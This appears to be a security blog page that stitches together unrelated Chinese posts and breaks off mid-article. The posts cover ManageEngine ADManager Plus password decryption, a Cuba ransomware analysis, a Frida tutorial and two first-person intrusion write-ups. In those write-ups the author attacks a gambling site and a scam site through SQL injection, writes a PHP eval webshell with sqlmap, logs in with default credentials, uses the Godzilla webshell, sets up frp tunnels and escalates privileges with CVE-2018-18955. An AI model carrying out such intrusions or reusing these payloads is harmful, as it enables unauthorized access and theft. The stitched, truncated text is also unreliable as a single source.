Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863110957

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00 前言本文記錄從零開始搭建ADManager Plus漏洞調試環境的細節,介紹數據庫用戶口令的獲取方法。

0x01 簡介本文將要介紹以下內容:

ADManager Plus安裝

ADManager Plus漏洞調試環境配置

數據庫用戶口令獲取

數據庫加密算法

0x02 ADManager Plus安裝1.下載全版本下載地址:https://archives2.manageengine.com/ad-manager/

2.安裝安裝參考:https://www.manageengine.com/products/ad-manager/help/getting_started/installing_admanager_plus.html

3.測試訪問https://localhost:8080

0x03 ADManager Plus漏洞調試環境配置方法同ADAudit Plus漏洞調試環境配置基本類似

1.開啟調試功能(1)定位配置文件

查看java進程的父進程wrapper.exe的進程參數為:'C:\Program Files\ManageEngine\ADManager Plus\bin\Wrapper.exe' -c 'C:\Program Files\ManageEngine\ADManager Plus\bin\\.\conf\wrapper.conf'

這裡需要修改的配置文件為C:\Program Files\ManageEngine\ADManager Plus\conf\wrapper.conf

(2)修改配置文件添加調試參數

找到啟用調試功能的位置:

1.png將其修改為

2.png

(3)重新啟動相關進程

關閉進程wrapper.exe和對應的子進程java.exe

在開始菜單依次選擇Stop ADManager Plus和Start ADManager Plus

2.常用jar包位置路徑:C:\Program Files\ManageEngine\ADManager Plus\lib

web功能的實現文件為AdventNetADSMServer.jar和AdventNetADSMClient.jar

3.IDEA設置設置為Remote JVM Debug,遠程調試

0x04 數據庫用戶口令獲取默認配置下,ADManager Plus使用postgresql存儲數據,默認配置了兩個登錄用戶:admanager和postgres

1.用戶admanager的口令獲取配置文件路徑:C:\Program Files\ManageEngine\ADManager Plus\conf\database_params.conf,內容示例:

3.png 4.png

其中,password被加密,加解密算法位於:C:\Program Files\ManageEngine\ADManager Plus\lib\framework-tools.jar中的com.zoho.framework.utils.crypto-CryptoUtil.class

經過代碼分析,得出以下解密方法:

密鑰固定保存在C:\Program Files\ManageEngine\ADManager Plus\conf\customer-config.xml,內容示例:

5.png

得到密鑰:CryptTag為o0hV5KhXBIKRH2PAmnCx

根據以上得到的密文28e3e4d73561031fa3a0100ea4bfb3617c7d66b631ff54ca719dd4ca3dcfb3c308605888和密鑰o0hV5KhXBIKRH2PAmnCx,編寫解密程序,代碼如下:

6.png 7.png 8.png 9.png

程序運行後得到解密結果:DFVpXge0NS

拼接出數據庫的連接命令:'C:\Program Files\ManageEngine\ADManager Plus\pgsql\bin\psql' 'host=127.0.0.1 port=33306 dbname=adsm user=admanager password=DFVpXge0NS'

2.用戶postgres的口令默認口令為Stonebraker

0x05 數據庫加密算法1.相關數據庫信息(1)用戶相關的表

10.png

(2)口令相關的表

11.png

(3)權限相關的表

12.png 13.png

2.口令加密算法算法同ADAudit Plus一致,計算密文的測試代碼如下:

14.png 15.png

計算結果為$2a$12$sdX7S5c11.9vZqC0OOPZQ.9PLFBKubufTqUNyLbom2Ub13d573jhi,同數據庫得到的password項一致

3.語法示例(1)查詢用戶及對應的權限

16.png

(2)查詢用戶及對應的口令

17.png

(3)修改口令

18.png

0x06 小結在我們搭建好ADManager Plus漏洞調試環境後,接下來就可以著手對漏洞進行學習。

0x00  偶遇一棋牌网站

1、简单的抓包分析一下

图片

图片


2、用户名后边加单引号直接报错了,闭合之后又正常了,稳稳地sql注入一枚。

3、通过测试没有发现任何安全设备,直接上sqlmap。

4、过程就不啰嗦了,直接得到下边数据

current-user:  developer@%
select @@BASEDIR: '/usr/'
select USER(): 'developer@121.x.x.x'
select DATABASE(): 'edc'
select SYSTEM_USER(): 'developer@121.x.x.x'
select @@CHARACTER_SETS_DIR: '/usr/share/mysql/charsets/'
select @@CHARACTER_SET_CLIENT: 'utf8'
select @@DATADIR: '/var/lib/mysql/'
select @@CHARACTER_SET_SERVER: 'latin1'

5、通过一波信息收集,当前用户权限很低,有用的信息少得可怜

6、对目标端口进行扫描,发现端口开了挺多

图片

7、打开80端口没有任何页面

图片

888 端口  是apache默认首页  得到绝对路径 /var/www/html/
9090 端口 是赌博站管理登录地址
9091 端口 是赌博站会员登录地址

图片

图片

8、经过测试,这个两个页面没有可利用的漏洞

0x01  突破点

1、通过对目录进行扫描发现一个报错页面,得到一个注入点还得到一个info.php

图片

图片

2、拿到数据库root权限

图片

db_test  当前数据库
[19:54:48] [INFO] resumed: 'root'@'localhost'
[19:54:48] [INFO] resumed: 'developer'@'localhost'
[19:54:48] [INFO] resumed: 'root'@'127.0.0.1'
[19:54:48] [INFO] resumed: 'syncopy'@'222.xxx.xxx.xxx'
[19:54:48] [INFO] resumed: 'mlh'@'localhost'
[19:54:48] [INFO] resumed: 'developer'@'%'
[19:54:48] [INFO] resumed: 'mlh'@'%'
[19:54:48] [INFO] resumed: 'edc'@'%'
[19:54:48] [INFO] resumed: '6hc_nav'@'%'

图片

0x02  尝试写入shell

1、通过sql语句写入shell却没有成功,只有在支持堆叠查询时,才能执行非查询SQL语句

sqlmap --sql-shell
select "<?php eval($_POST['x']);?>" into outfile "/var/www/html/25u_ft/1.php"

图片

2、换一种方式写入

--file-write "/localhost/shell.php" --file-dest "/var/www/html/25u_ft/test.php"

3、完全写不进去,发现是没有写入权限,只有读取权限

--file-read "/var/www/html/25u_ft/info.php"

4、可以正常读取,尝试读取配置文件,至此走上了一条错误之路

图片

图片

(1)读取了几个配置文件,并没有什么思路

(2)回头去注入管理员的密码,尝试从后台获取shell

-D "10fenft" -T "g_user" -C "g_name,g_password" --dump

图片

(3)成功登录后台

图片

图片

(4)后台简陋的一批,没有上传功能

  0x03  getshell

1、该有的条件都有了就是拿不到shell,很难受。

 2、在各种渠道查询这个ip,突然发现以前有域名解析到这里

图片


3、太好了,域名还可以正常访问,是一个论坛

图片


4、竟然是thinkphp,而且还爆出了绝对路径

5、重复之前的写入操作,一下就成功了,哈哈哈哈

图片

0x04  打包源码

1、直接链接shell

图片


2、权限不高,但是丝毫不影响我打包源码

图片

0x05  总结

发现还要很多同类型的站点
源码放在下边了

https://xzfile.aliyuncs.com/upload/affix/20210513165936-8aadc29a-b3c9-1.rar

转自于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486232&idx=1&sn=301810a7ba60add83cdcb99498de8125&chksm=ce67a181f9102897905ffd677dafeb90087d996cd2e7965300094bd29cba8f68d69f675829be&scene=21#wechat_redirecthttps://xz.aliyun.com/t/9567


0x00 前言在之前的文章介紹了Fortigate識別與版本探測的方法,在提取出頁面特徵後,可根據特徵對應到具體版本。為了找到特徵與具體版本的對應關係,這里首要解決的問題是下載固件。

本文將要介紹通過程序實現自動下載固件的方法,分享腳本開發細節。

0x01 簡介本文將要介紹以下內容:

實現原理

實現細節

開源代碼

0x02 實現原理通過Burp Suite分析下載固件的數據格式,進而編寫程序實現自動下載

1.用戶認證使用Cookie作為憑據,格式示例:

微信截图_20230609173002.png

2.下載流程訪問固件下載頁面,如下圖

下载.png

點擊固件對應的HTTPS即可下載固件

通過Burp Suite分析數據包內容,具體流程如下:

訪問頁面https://support.fortinet.com/Download/FirmwareImages.aspx,發送的數據包如下圖

下载 (1).png

其中,ctl04作為變量,不同固件對應的值不同

返回結果實例如下圖

下载 (2).png

返回結果中為實際的下載文件地址

0x03 實現細節這里以7.2.4的下載為例,在程序實現上需要額外考慮以下細節:

1.文件下載對於返回結果需要作簡單的處理,解析後並下載的代碼實例:

微信截图_20230609173629.png

2.需要獲得文件名與下載鏈接的對應關係實際上為文件名同變量ctl的對應關係

訪問上級頁面,抓包如下圖

下载 (3).png

返回結果如下圖

下载 (4).png

從頁面中能夠獲得文件名同變量ctl的對應關係

這裡使用正則匹配,格式化輸出的代碼實例:

11.png

注:

在使用print函數時,\r指定回到行起始位置,flush=True表示刷新輸出

3.加入下載進度條為了便於掌握下載進度,需要加入下載的進度條

參考代碼:https://www.cnblogs.com/Old-Kang/articles/15271067.html

實例代碼:

12.png輸出實例:

微信截图_20230609174024.png

4.下載判斷當下載很多文件時,如果網絡中斷,需要從中斷處的文件名重新下載

這裡加入指定下載位置作為用戶輸入,實例代碼:

13.png

0x04 小結本文介紹了通過程序下載Fortigate固件的方法,後續可對特徵進行提取。

我們會在本文詳細介紹cuba組織的歷史及其攻擊戰術、技術和程序。

cuba勒索軟件組織於2020年末首次被卡巴斯基殺毒軟件發現。當時,還沒有採用“cuba”這個名字,而是被稱為“Tropical Scorpius”。

cuba主要針對美國、加拿大和歐洲的組織。該組織對石油公司、金融服務、政府機構和醫療保健提供者發動了一系列攻擊。

與最近大多數網絡勒索組織一樣,cuba組織對受害者的文件進行加密,並要求贖金以換取解密密鑰。該組織使用複雜的戰術和技術來滲透受害者網絡,例如利用軟件漏洞和社會工程。已知它們使用受攻擊的遠程桌面(RDP)連接進行初始訪問。

cuba組織的確切起源和成員身份目前尚不清楚,儘管一些研究人員認為它可能是另一個臭名昭著的勒索組織Babuk的繼承者。與許多其他同類組織一樣,cuba組織是一家勒索軟件即服務(RaaS)機構,允許其合作夥伴使用勒索軟件和相關基礎設施,以收取一定比例的贖金。

該組織自成立以來已多次更名,先後使用了:

ColdDraw

TropicalScorpius

Fidel

Cuba今年2月,又發現了這個組織的另一個名字——“V Is Vendetta”,這與攻擊者們最喜歡的cuba主題不同,很可能是一個分支機構或附屬公司使用的綽號。該組織與cuba組織有一個明顯的聯繫。這個新發現的組織的網站託管在cuba域:

http[:]//test[.]cuba4ikm4jakjgmkezytyawtdgr2xymvy6nvzgw5cglswg3si76icnqd[.]onion/。

2.png

V IS VENDETTA網站

截止發文時,cuba仍然很活躍。

受害者分析該組織攻擊了世界很多地區的公司,包括零售商、金融和物流服務、政府機構和製造商等。就地理位置而言,大多數受攻擊的公司都位於美國,但在加拿大、歐洲、亞洲和澳大利亞也有少數受害者。

3.png

cuba受害者的地理分佈

勒索軟件cuba勒索軟件是一個沒有外掛庫的單一文件。樣本通常有偽造的編譯時間戳:2020年發現的樣本蓋有2020年6月4日的印章,而最近的樣本卻是1992年6月19日。

cuba勒索模式4.png

勒索模式

就用於向受害者施壓的工具而言,目前存在四種勒索模式。

單一勒索:加密數據並索要贖金。

雙重勒索:除了加密,攻擊者還竊取敏感信息。這是當今勒索軟件組織中最流行的模式。

三重勒索:在雙重勒索的基礎上實施DDoS攻擊。在LockBit組織受到DDoS攻擊後,該模型開始廣泛傳播。在成為攻擊目標後,攻擊者意識到DDoS是一種有效的勒索手段。

第四種模式是最不常見的,威脅最大,但成本也最高。它利用了投資者、股東和客戶中對數據洩露消息新聞的缺乏信任。在這種情況下,沒有必要進行DDoS攻擊。這種模式的例證是最近弗吉尼亞州布魯菲爾德大學(Bluefield University)遭遇的攻擊者攻擊,AvosLocker勒索軟件團伙劫持了學校的緊急廣播系統,向學生和員工發送短信和電子郵件提醒,告知他們的個人數據被盜。攻擊者們敦促不要相信學校的管理層,他們說校方隱瞞了入侵的真實規模,並敦促他們盡快將情況公之於眾。

cuba組織使用經典的雙重勒索模型,用Xsalsa20對稱算法加密數據,用RSA-2048非對稱算法加密密鑰。這被稱為混合加密,一種加密安全的方法,可以防止在沒有密鑰的情況下解密。

cuba勒索軟件示例避免加密具有以下擴展名的文件:exe、dll、sys、ini、lnk、vbm、Cuba,以及以下文件夾:

马云惹不起马云\windows\

马云惹不起马云\programfiles\microsoftoffice\

马云惹不起马云\programfiles(x86)\microsoftoffice\

马云惹不起马云\programfiles\avs\

马云惹不起马云\programfiles(x86)\avs\

马云惹不起马云\$recycle.bin\

马云惹不起马云\boot\

马云惹不起马云\recovery\

马云惹不起马云\systemvolumeinformation\

马云惹不起马云\msocache\

马云惹不起马云\users\allusers\

马云惹不起马云\users\defaultuser\

马云惹不起马云\users\default\

马云惹不起马云\temp\

马云惹不起马云\inetcache\

马云惹不起马云\google\勒索軟件通過搜索和加密%AppData\Microsoft\Windows\Recent\目錄中的Microsoft Office文檔、圖像、檔案和其他文件而不是設備上的所有文件來節省時間。它還終止所有SQL服務以加密任何可用的數據庫。它在本地和網絡共享內部查找數據。

5.png

cuba勒索軟件終止的服務列表

除了加密,該組織還竊取受害者組織內部發現的敏感數據。大多數情況下,他們會盯著以下文件:

马云惹不起马云 財務文件

马云惹不起马云銀行對賬單

马云惹不起马云公司賬戶明細

马云惹不起马云源代碼,如果該公司是軟件開發人員

cuba使用的攻擊工具該組織使用了經典憑據訪問工具,如mimikatz,也採用了自寫應用程序。它利用了受害公司使用的軟件中的漏洞,大多數是已知的漏洞,例如ProxyShell和ProxyLogon組合攻擊Exchange服務器,以及Veeam數據備份和恢復服務中的安全漏洞。

6.png

惡意軟件

Bughatch

Burntcigar

Cobeacon

Hancitor(Chanitor)

Termite

SystemBC

Veeamp

Wedgecut

RomCOMRAT 7.png

工具

Mimikatz

PowerShell

PsExec

RemoteDesktopProtocol 8.png

漏洞

ProxyShell:

CVE-2021-31207

CVE-2021-34473

CVE-2021-34523

ProxyLogon:

CVE-2021-26855

CVE-2021-26857

CVE-2021-26858

CVE-2021-27065

Veeamvulnerabilities:

CVE-2022-26501

CVE-2022-26504

CVE-2022-26500

ZeroLogon:

CVE-2020-1472 9.png

將攻擊武器庫映射到MITRE ATTCK®戰術

利潤攻擊者在勒索通知中提供了比特幣錢包的標識符,這些比特幣錢包的進出款總額超過3600個比特幣,按1個比特幣兌換28624美元的價格換算,價值超過1.03億美元。該團伙擁有眾多錢包,不斷在這些錢包之間轉移資金,並使用比特幣混合器,通過一系列匿名交易發送比特幣的服務,使資金的來源更難追踪。

10.png

部分BTC網絡中交易

樣本分析Host: SRV_STORAGE去年12月19日,研究人員在客戶主機上發現了可疑活動,將其稱之為“SRV_STORAGE”。數據顯示了三個可疑的新文件:

11.png

卡巴斯基SOC發現的可疑事件

對kk65.bat的分析表明,它充當了一個stager,通過啟動rundll32並將komar65庫加載到其中來啟動所有進一步的活動,該庫運行回調函數DLLGetClassObjectGuid。

12.png

.bat文件的內容

讓研究人員看看可疑的DLL內部。

Bughatchkomar65.dll庫也被稱為“Bughatch”,這是Mandiant在一份報告中給出的名字。

首先可疑的是PDB文件的路徑。裡面有個文件夾叫“mosquito”,俄語翻譯為“komar”,它是DDL名稱的一部分,表明該團伙可能包括說俄語的人。

13.png

komar65.dll PDB文件的路徑

當連接到以下兩個地址時,DLL代碼將Mozilla/4.0作為用戶代理:

Com,顯然用於檢查外部連接;

該組織的指揮控制中心,如果初始ping通過,惡意軟件將嘗試回調。

14.png

komar65.dll分析

以上就是在受感染的宿主身上觀察到的活動。在Bughatch成功地與C2服務器建立連接後,它開始收集網絡資源上的數據。

15.png

Bughatch活動

通過查看C2服務器,研究人員發現除了Bughatch之外,這些模塊還擴展了惡意軟件的功能。其中一個從受感染的系統收集信息,並以HTTPPOST請求的形式將其發送回服務器。

16.jpeg

在cubaC2服務器上找到的文件

攻擊者可以將Bughatch視為某種後門,部署在進程內存中,並在Windows API(VirtualAlloc、CreateThread、WaitForSingleObject)的幫助下,在分配的空間內執行shellcode,然後連接到C2並等待進一步的指令。特別是,C2可以發送命令下載進一步的惡意軟件,例如Cobalt Strike Beacon、Metasploit或進一步的Bughatch模塊。

17.png

Bughatch運行流程圖

朋友突然告诉我,某转买手机被骗了1200块钱,心理一惊,果然不出所料,那我来试试吧。

图片


要来了诈骗网站地址,打开是这种:图片
果断收集一下信息:(由于留言骗子返还朋友钱款,暂时给他留点面子,打点马赛克)
图片查看端口,一猜就是宝塔面板搭建图片开着80,那就访问一下:图片从官网查找客服软件的教程。发现后台路径为:/admin图片直接访问果然发现:图片想也没想,直接admin:123456,没想到的是进去了哈哈哈:图片下一步当然是getshell,找了一圈发现直接可编辑语言配置文件:图片这里使用简单的一句话还给我封了ip丫的,看了一眼竟然用云盾,这骗子还有点安全意识,那只好祭出我的哥斯拉杀器(直接带bypass function的,也好用对不):图片好家伙,禁用的函数如此之多,那行吧,绕过呗图片文件管理时发现限制目录读取:

图片

直接使用哥斯拉的目录访问绕过:

图片

最后目录浏览时发现php存在多个版本,本人php5提权不太熟悉(哥斯拉不适用哈哈),看见php7后果断找其他站点:图片访问其他站点都能访问,解析ip都是这个,终于发现一个php7的

图片


终于发现一个php7的,但是linux版本内核很新啊,看来提权是个麻烦

图片

而后不出所料,哥斯拉的函数绕过可执行命令:图片执行后直接获取低权限shell:

图片

是www用户,权限很低。
在目录下还发现了一个杀猪盘工具:框框

图片

可以一键生成诈骗详情链接:
图片

(现在大家知道不要相信qq微信交易的重要性了吧,这种杀猪盘很容易坑人)

最后根据收集到的数据库链接等信息准备进数据库里看一眼,哥斯拉的链接有问题:

图片

于是搭建frp到骗子服务器访问:

图片


信息:图片图片

图片



由于www用户无法写入mysql目录.so文件,无法使用mysql提权。
sudo一直要使用www密码,结果也是无法使用sudo。
有suid位的命令如表,
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/su
/usr/bin/umount
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/at
/usr/bin/sudo
/usr/bin/crontab
/usr/bin/passwd
/usr/sbin/grub2-set-bootflag
/usr/sbin/unix_chkpwd
/usr/sbin/pam_timestamp_check
/usr/lib/polkit-1/polkit-agent-helper-1
最后使用CVE-2018-18955
https://www.freebuf.com/news/197122.html
图片最后已将整理完的信息提交朋友和警方,就没再深入。



本文转载自于原文链接:https://xz.aliyun.com/t/9200
https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486388&idx=1&sn=cfc74ce3900b5ae89478bab819ede626&chksm=ce67a12df910283b8bc136f46ebd1d8ea59fcce80bce216bdf075481578c479fefa58973d7cb&scene=21#wechat_redirect

確保軟件產品的安全性和可靠性是現代企業面臨的最大挑戰之一。隨著產品的發展,每個新功能都會為潛在的安全漏洞和性能瓶頸打開大門。

動態分析和逆向工程是允許開發人員在應用程序運行時探索其內部工作原理的兩種方法。借助這些見解,開發人員可以識別漏洞並發現潛在的安全問題。

在本文中,您將學習如何使用Frida 動態分析您的應用程序並發現漏洞。我們將根據我們自己的項目經驗向您展示Frida 工具的實際應用示例。本文對於想要確保其產品受到保護的安全研究人員、CTO 和CSO 非常有用。

什麼是動態分析以及為什麼它很重要?動態分析和逆向工程是企業增強產品安全性的兩種重要網絡安全方法。

動態分析允許網絡安全專家評估軟件運行時的行為。這對於:

漏洞檢測——發現潛在漏洞併計劃網絡安全增強,以保護您的產品免受數據洩露

真實世界模擬— 了解您的產品在現實條件下的表現,使您能夠從用戶的角度檢查您的產品,並了解它如何處理敏感數據和關鍵操作

性能優化——除了安全性之外,動態分析還有助於優化應用程序性能,從而幫助您改善產品的用戶體驗並優化基礎設施成本

合規保證——在潛在的違規行為導致合規違規和處罰之前識別它們

動態分析用於逆向工程,即使沒有源代碼或文檔,開發人員也可以剖析軟件並了解其內部工作原理。

在Apriorit,我們專注於逆向工程,並利用它來幫助企業評估和提高其軟件的安全性。這包括保護其免受可能導致重大聲譽和金錢損失的違規、惡意軟件攻擊和數據洩露。

有許多工具可以讓企業進行動態分析和逆向工程。在我們的逆向項目中,我們經常使用Frida。

Frida是什麼? Frida是一個動態開源檢測工具包,允許開發人員和逆向工程師將JavaScript 代碼注入正在運行的應用程序中。注入使開發人員能夠實時跟踪函數調用、修改函數行為和攔截數據,使其成為動態分析的寶貴工具。

Frida 提供了一套全面的API,可用於與正在運行的應用程序進行交互。

image.png

Frida 的體系結構基於客戶端-服務器模型。 Frida 服務器在目標設備或計算機上運行,而客戶端用於與服務器交互並將JavaScript 代碼注入正在運行的應用程序中。

讓我們看幾個示例,了解您可以使用Frida 執行哪些動態應用程序分析任務。我們將從桌面應用程序開始。

使用Frida 對桌面應用程序進行動態分析Frida 支持Windows、macOS 和Linux,使其成為分析桌面應用程序的可靠選擇,無論它們運行在何種操作系統上。讓我們看看您可以使用Frida 執行的一些任務。

在執行任何動態分析或操作操作之前,我們需要將Frida 注入到我們的桌面應用程序中。這是一個相對簡單的過程:

在目標系統上安裝Frida。

使用命令frida-server -l 0.0.0.0.這將啟動Frida 服務器並使其可供網絡上的其他設備訪問。

將Frida 客戶端附加到目標進程並註入Frida 腳本。

在Windows 桌面應用程序中掛鉤MessageBox為了演示如何使用Frida 掛鉤函數,讓我們考慮在Windows 桌面應用程序中掛鉤MessageBox函數的示例。該函數用於向用戶顯示消息框,使其成為動態分析的絕佳目標。

要使用Frida 掛鉤MessageBox函數,我們首先需要編寫一個Frida 腳本。該腳本將附加到目標進程,找到MessageBox 函數的地址,並使用攔截器掛鉤該函數。這是我們的一個項目中的自定義腳本:

image.png

在此腳本中,我們使用Module.findBaseAddress查找user32.dll 庫的基地址,其中包含MessageBox函數。然後,我們使用findExportByName方法獲取MessageBox函數的地址(對於私有方法,我們可以使用帶有偏移量的add)。最後,我們使用Interceptor.attach來掛鉤MessageBox函數,在調用該函數時將消息記錄到控制台。

要運行此腳本,請將其保存到文件(例如hook_messagebox.js)並使用以下命令運行Frida 客戶端:

image.png

這會將Frida 連接到目標進程並註入腳本。當目標進程調用MessageBox函數時,Frida將攔截該函數並將消息記錄到控制台。

在macOS 桌面應用程序中修改NSURLRequestFrida 在桌面應用程序中的另一個強大功能是實時修改數據。例如,讓我們考慮使用NSURLRequest發出HTTP 請求的macOS 桌面應用程序的情況。我們可以使用Frida 在發送HTTP 請求之前對其進行修改,從而使我們能夠繞過安全措施或修改應用程序的行為。

要使用Frida 修改macOS 桌面應用程序中的NSURLRequest,我們首先需要編寫一個Frida 腳本。該腳本將附加到目標進程,查找NSURLRequest對象的地址,並使用JavaScript 修改其屬性。這是一個例子:

functionmodify_nsurlrequest(){

//FindtheaddressoftheNSURLRequestobject

varrequestPtr=null;

varobjc_msgSend=newNativeFunction(Module.findExportByName('libobjc.A.dylib','objc_msgSend'),'pointer',['pointer','pointer']);

Interceptor.attach(objc_msgSend,{

onEnter:function(args){

varsel=ObjC.selectorAsString(args[1]);

if(sel==='initWithURL:cachePolicy:timeoutInterval:'){

requestPtr=args[0];

}

},

onLeave:function(retval){

if(requestPtr!==null){

varrequest=newObjC.Object(requestPtr);

request.setValue_forHTTPHeaderField_('my-custom-header','X-Custom-Header');

requestPtr=null;

}

}

});

}

//Attachtothetargetprocessandwaitforittostart

Process.enumerateApplications({

onMatch:function(info){

if(info.name==='TargetApp'){

console.log('Attachingto'+info.name+'('+info.pid+')');

//Attachtotheprocessandwaitforitsmainmoduletobeloaded

Process.attach(info.pid,{

onModuleLoaded:function(module){

if(module.name==='TargetApp'){

//Waitforthescriptruntimetobeready

setTimeout(modify_nsurlrequest,0);

}

}

});

}

},

onComplete:function(){

console.log('Failedtofindtargetprocess');

}

});該腳本使用objc_msgSend函數攔截對NSURLRequest類的initWithURL:cachePolicy:timeoutInterval:方法的調用。當調用這個方法時,我們保存初始化的NSURLRequest對象的地址。當該方法返回時,我們創建一個代表NSURLRequest對象的ObjC.Object實例,並根據需要修改其屬性。

接下來,我們使用Process.enumerateApplications按名稱查找目標進程。找到進程後,我們使用Process.attach附加到它並等待其主模塊加載。當主模塊加載時,我們調用setTimeout函數來安排在下一次事件循環迭代期間對修改_nsurlrequest函數的調用,從而為腳本運行時提供完全初始化的機會。

一旦調用了modify_nsurlrequest函數,它將攔截對NSURLRequest初始化方法的調用,並根據需要修改任何初始化的NSURLRequest對象的屬性。

這些只是您可以在桌面應用程序中使用Frida 執行的動態分析任務的幾個示例。現在讓我們看一下Frida 在移動應用程序中的用途。

使用Frida 對移動應用程序進行動態分析動態分析是識別移動應用程序中漏洞的有效方法,因為它使我們能夠實時監控應用程序行為。

Frida 可用於對Android 和iOS 應用程序執行動態分析。借助Frida,我們可以連接正在運行的應用程序並監視其行為,包括函數調用、網絡流量和內存使用。

要使用Frida對應用程序進行動態分析,我們首先需要將應用程序安裝在物理或虛擬設備上。然後,我們可以將Frida 附加到正在運行的進程並開始監視應用程序的行為。

Frida 可用於未root、已root 和越獄的設備。 Frida 官方文檔中詳細描述了安裝。通常,它涉及在目標設備上運行run frida-server 命令並在調試模式下使用USB 連接到目標設備。

讓我們看一些示例,了解如何使用Frida 在移動應用程序上運行動態分析。

繞過根檢測許多開發人員實施root 檢測以防止用戶在root 設備上運行其應用程序。然而,使用Frida 的動態分析可以繞過這個問題。

讓我們看一個使用Frida 繞過Android 應用程序中的root 檢測的示例。在這種情況下,我們假設應用程序正在使用SafetyNet API 來檢查設備是否已獲得root 權限。

為了繞過root 檢測,我們將使用Frida 攔截對SafetyNet API 的調用並修改返回值以指示設備未獲得root 權限。下面是實現此目的的JavaScript 代碼:

image.png

然而,現代移動應用程序和系統通常採用多層安全措施來檢測和防止各種形式的篡改和未經授權的訪問。因此,繞過當代應用程序和系統中的根檢測可能需要更廣泛和復雜的掛鉤技術。

您可以在CodeShare上找到這些技術和實施示例。

篡改API 調用移動應用程序通常使用API 與後端服務器進行通信。通過篡改API 調用,攻擊者可以修改應用程序行為或竊取敏感數據。

我們將在Frida 動態儀器中合乎道德地使用這項技術。篡改API 調用可以幫助您評估應用程序的整體安全性、檢查流量和監控行為。

Frida 允許篡改iOS 應用程序中的API 調用。在本例中,我們假設應用程序正在使用URLSession API 向後端服務器發出請求。

為了篡改API 調用,我們將使用Frida 攔截對URLSession API 的調用並在請求發送到服務器之前修改請求。這是實現此目的的代碼:

image.png

通過篡改API調用,您可以評估應用程序的安全漏洞。在Apriorit,我們使用這種方法來模擬各種攻擊場景,並識別應用程序處理數據、與服務器通信或響應意外輸入的方式中的潛在弱點。

與Frida 進行逆向工程您可以使用Frida 進行逆向工程。它提供了一個動態分析環境,可幫助您檢查應用程序在運行時的行為方式。 Frida 允許我們掛鉤應用程序的執行流程,監視和操作函數調用和參數,並攔截應用程序發送或接收的數據。

在Apriorit,我們使用Frida 執行各種逆向工程任務,例如:

提取加密密鑰

分析網絡流量

跟踪系統調用

識別惡意軟件行為

研究專有協議

分析二進制代碼

還有其他活動,例如使用Frida 進行惡意軟件檢測,允許網絡安全專家對惡意軟件進行逆向工程。

在本指南中,我們使用Android 應用程序作為示例演示前三個任務。 Frida 特別適合Android 平台,而其他工具可能更適合桌面和iOS 平台上的逆向工程任務。

提取加密密鑰Apriorit 安全專家團隊使用Frida 提取應用程序使用的加密密鑰來保護敏感數據。通過連接應用程序的加密函數,我們可以攔截應用程序生成或使用的密鑰並記錄它們以供進一步分析。

以下是使用Frida 從應用程序中提取加密密鑰的腳本示例:

image.png

該腳本掛鉤javax.crypto.KeyGenerator和javax.crypto.Cipher類並攔截它們的函數調用。當KeyGenerator初始化新密鑰時,腳本會記錄密鑰大小並生成密鑰。當使用密鑰初始化Cipher時,腳本會記錄有關密鑰的信息。

分析網絡流量Frida 可用於通過連接網絡功能並攔截應用程序發送或接收的數據來分析應用程序的網絡流量。這對於識別通過網絡傳輸的敏感數據以及了解應用程序如何與外部服務進行通信非常有用。

下面是一個使用Frida 攔截網絡流量的示例腳本:

Java.perform(function(){

varURL=Java.use('java.net.URL');

varHttpURLConnection=Java.use('java.net.HttpURLConnection');

varOutputStreamWriter=Java.use('java.io.OutputStreamWriter');

varBufferedReader=Java.use('java.io.BufferedReader');

//Intercepttherequest

HttpURLConnection.getOutputStream.implementation=function(){

varoutputStream=this.getOutputStream();

varrequestMethod=this.getRequestMethod();

varurl=this.getURL().toString();

//PrintouttherequestmethodandURL

console.log('[+]Intercepted'+requestMethod+'requestto'+url);

//Readtherequestbody

varrequest='';

//GettheInputStreamobject

varinputStream=this.getInputStream();

//CreateanewInputStreamReaderobject

varinputStreamReader=InputStreamReader.$new.overload('java.io.InputStream','java.lang.String')(inputStream,'UTF-8');

//CreateanewBufferedReaderobject

varBufferedReader_instance=BufferedReader.$new.overload('java.io.Reader')(inputStreamReader);

varline='';

while((line=BufferedReader_instance.readLine())!=null){

request+=line;

}

//Printouttherequestbody

console.log('[+]Requestbody:'+request);

//Modifytherequest

if(requestMethod=='POST'){

varmodifiedRequest='param1=value1param2=value2';

console.log('[+]Modifyingrequestbodyto:'+modifiedRequest);

//GettheOutputStreamWriterconstructor

varOutputStreamWriter=Java.use('java.io.OutputStreamWriter');

//GettheCharsetandStandardCharsetsclasses

varCharset=Java.use('java.nio.charset.Charset');

varStandardCharsets=Java.use('java.nio.charset.StandardCharsets');

//GettheOutputStreamobject

varoutputStream=this.getOutputStream();

//GettheUTF-8Charsetobject

varutf8Charset=StandardCharsets.UTF_8;

//CreateanewOutputStreamWriterobject

varoutputStreamWriter=OutputStreamWriter.$new.overload('java.io.OutputStream','java.nio.charset.Charset')(outputStream,utf8Charset);

outputStreamWriter.write(modifiedRequest);

outputStreamWriter.flush();

outputStreamWriter.close();

}

returnoutputStream;

};

//Intercepttheresponse

HttpURLConnection.getInputStream.implementation=function(){

varinputStream=this.getInputStream();

//Readtheresponsebody

varresponse='';

//GettheInputStreamobject

varinputStream=this.getInputStream();

//CreateanewInputStreamReaderobject

varinputStreamReader=InputStreamReader.$new.overload('java.io.InputStream','java.lang.String')(inputStream,'UTF-8');

//CreateanewBufferedReaderobject

varBufferedReader_instance=BufferedReader.$new.overload('java.io.Reader')(inputStreamReader);

varline='';

while((line=BufferedReader_instance.readLine())!=null){

response+=line;

}

//Printouttheresponsebody

console.log('[+]Responsebody:'+response);

returninputStream;

};

});該腳本攔截HTTP 請求和應用程序響應並顯示有關它們的信息,包括:

請求方式

網址

請求正文

響應體

它還演示瞭如何使用

sl-tropical-beach-cuba-binary-1200-1200x600.jpg

完整分析cuba勒索軟件(上)

Veeamp過了一段時間,研究人員發現一個惡意進程在相鄰主機上啟動;研究人員稱之為“SRV_Service”:

18.png

惡意進程啟動

